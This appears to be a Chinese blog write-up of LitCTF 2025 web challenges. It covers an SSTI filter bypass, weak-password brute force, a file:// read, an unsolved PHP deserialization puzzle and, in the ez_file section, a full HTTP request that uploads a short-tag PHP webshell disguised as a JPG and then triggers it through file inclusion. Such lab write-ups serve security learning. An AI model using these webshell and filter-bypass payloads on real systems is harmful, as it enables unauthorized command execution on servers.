LitCTF 2025复现(Web方向)

1、星愿信箱

本题也是Python的SSTI注入,但是貌似加入了一些简单的过滤。我们打开题目,我们直接尝试使用双大括号来判断是否为SSTI,但是发现

那么我们可以猜到应该是双大括号被屏蔽了,那我们使用 {%print (....) %} 代替即可

然后开始加入攻击载荷,发现还是有被过滤的

那么盲猜一波是 eval 被过滤了,因为这是用来执行命令的函数。我们直接使用exec替代即可,注意不要尝试使用拼接的方法,因为eval是一个动态的函数,而拼接之后是死的字符串,无法正常执行命令的。

这个例子可以看得很清楚

也不要使用十六进制,Python不允许在 . 后面使用十六进制调用函数或属性的。

最终成功执行,访问 /tzy 路由,使用 ?cmd 传入命令即可

2、nest_js

本题为弱口令,直接爆破即可

登录即可

3、ez_file

进入登录界面,首先也是使用弱口令登录 admin/password

查看页面源码,发现file参数,有文件包含逻辑,我们直接上传一个jpg图片马。但是PHP标签被过滤了,我们使用短标签来绕过。

POST /admin.php HTTP/1.1
Host: node8.anna.nssctf.cn:20771
Content-Length: 233
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://node8.anna.nssctf.cn:20771
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHqIjoMP3Rus5Munp
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node8.anna.nssctf.cn:20771/admin.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=90df1eaf1166d3ee8d63e0980cadb17d
Connection: keep-alive

------WebKitFormBoundaryHqIjoMP3Rus5Munp
Content-Disposition: form-data; name="avatar"; filename="basic_webshell.jpg"
Content-Type: application/octet-stream

<?= system($_GET[1]);?>

------WebKitFormBoundaryHqIjoMP3Rus5Munp--

随后包含文件并传入Payload即可。

http://node9.anna.nssctf.cn:28242/admin.php?file=uploads/basic_webshell.jpg&1=cat%20f*

4、ez_signin

直接查看页面源码:

http://node12.anna.nssctf.cn:20346/api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php

发现一个PHP文件,我们直接去查看,发现flag

http://node12.anna.nssctf.cn:20346/327a6c4304ad5938eaf0efb6cc3e53dc.php

5、君の名は

本题是PHP反序列化,我们先查看题目。如果不想再NSS上花金币的,也可以直接下载源文件来Docker部署。

https://github.com/litsasuk/My-CTF-Web-Challenges

<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
    private $musubi;
    private $magic;
    public function __unserialize(array $data)
    {
        $this->musubi = $data['musubi'];
        $this->magic = $data['magic'];
        return ($this->musubi)();
    }
    public function __call($func,$args){
        (new $args[0]($args[1]))->{$this->magic}();
    }
}

class Mitsuha
{
    private $memory;
    private $thread;
    public function __invoke()
    {
        return $this->memory.$this->thread;
    }
}

class KatawareDoki
{
    private $soul;
    private $kuchikamizake;
    private $name;

    public function __toString()
    {
        ($this->soul)->flag($this->kuchikamizake,$this->name);
        return "call error!no flag!";
    }
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
    unserialize($Litctf2025);
}else{
    echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

我们可以看到有三个类,我们来列个表。

类名属性(均为private)
Takimusubimagic
Mitsuhamemorythread
KatawareDokisoulkuchikamizakename

暂时研究不懂,先放一下

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇